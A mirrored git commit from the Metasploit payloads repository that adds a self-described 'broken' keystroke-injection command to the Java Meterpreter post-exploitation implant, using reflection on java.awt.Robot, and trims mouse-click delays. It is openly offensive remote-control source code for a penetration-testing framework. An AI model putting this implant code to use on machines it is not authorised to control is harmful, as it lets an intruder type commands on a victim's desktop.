1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

add broken stdapi_ui_send_keys

This commit is contained in:
Tim W 2019-06-11 19:25:39 +08:00
parent 8afcc9a640
commit 0e3f1cec66
3 changed files with 31 additions and 21 deletions
java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi

@ -52,6 +52,7 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4); mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4);
mgr.registerCommand("stdapi_ui_send_keys", stdapi_ui_send_keys.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
} }
} }

@ -5,28 +5,26 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
import javax.imageio.IIOImage; import java.lang.reflect.Method;
import javax.imageio.ImageIO;
import javax.imageio.ImageWriteParam;
import javax.imageio.ImageWriter;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.ByteArrayOutputStream;
public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command { public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND); String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND);
pressKeyString(keyString);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/* private void pressKeyString(String keyString) throws Exception {
private void pressKeyString(String keyString) throws AWTException { RobotReflect robot = new RobotReflect();
Robot robot = new Robot();
for (int i=0;i<keyString.length();i++) { for (int i=0;i<keyString.length();i++) {
int keyCode = keyString.charAt(i);
robot.keyPress(keyCode);
robot.keyRelease(keyCode);
} }
} }
/*
private void pressUnicode(Robot r, int key_code) private void pressUnicode(Robot r, int key_code)
{ {
r.keyPress(KeyEvent.VK_ALT); r.keyPress(KeyEvent.VK_ALT);
@ -40,5 +38,26 @@ public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Com
} }
r.keyRelease(KeyEvent.VK_ALT); r.keyRelease(KeyEvent.VK_ALT);
} }
*/ */
private static class RobotReflect {
Object robotObject;
Method keyPress;
Method keyRelease;
RobotReflect() throws Exception {
Class robotClass = Class.forName("java.awt.Robot");
robotObject = robotClass.newInstance();
keyPress = robotClass.getMethod("keyPress", int.class);
keyRelease = robotClass.getMethod("keyRelease", int.class);
}
void keyPress(int i) throws Exception {
keyPress.invoke(robotObject, i);
}
void keyRelease(int i) throws Exception {
keyRelease.invoke(robotObject, i);
}
}
} }

@ -22,7 +22,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
switch (action) { switch (action) {
case 1: case 1:
robot.mousePress(InputEvent.BUTTON1_MASK); robot.mousePress(InputEvent.BUTTON1_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON1_MASK); robot.mouseRelease(InputEvent.BUTTON1_MASK);
break; break;
case 2: case 2:
@ -33,7 +32,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
break; break;
case 4: case 4:
robot.mousePress(InputEvent.BUTTON3_MASK); robot.mousePress(InputEvent.BUTTON3_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON3_MASK); robot.mouseRelease(InputEvent.BUTTON3_MASK);
break; break;
case 5: case 5:
@ -52,7 +50,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
Method mouseMove; Method mouseMove;
Method mousePress; Method mousePress;
Method mouseRelease; Method mouseRelease;
Method delay;
RobotReflect() throws Exception { RobotReflect() throws Exception {
Class robotClass = Class.forName("java.awt.Robot"); Class robotClass = Class.forName("java.awt.Robot");
@ -60,7 +57,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
mouseMove = robotClass.getMethod("mouseMove", int.class, int.class); mouseMove = robotClass.getMethod("mouseMove", int.class, int.class);
mousePress = robotClass.getMethod("mousePress", int.class); mousePress = robotClass.getMethod("mousePress", int.class);
mouseRelease = robotClass.getMethod("mouseRelease", int.class); mouseRelease = robotClass.getMethod("mouseRelease", int.class);
delay = robotClass.getMethod("delay", int.class);
} }
void mouseMove(int x, int y) throws Exception { void mouseMove(int x, int y) throws Exception {
@ -74,11 +70,5 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
void mouseRelease(int mouseMask) throws Exception { void mouseRelease(int mouseMask) throws Exception {
mouseRelease.invoke(robotObject, mouseMask); mouseRelease.invoke(robotObject, mouseMask);
} }
void delay(int i) throws Exception {
delay.invoke(robotObject, i);
}
} }
} }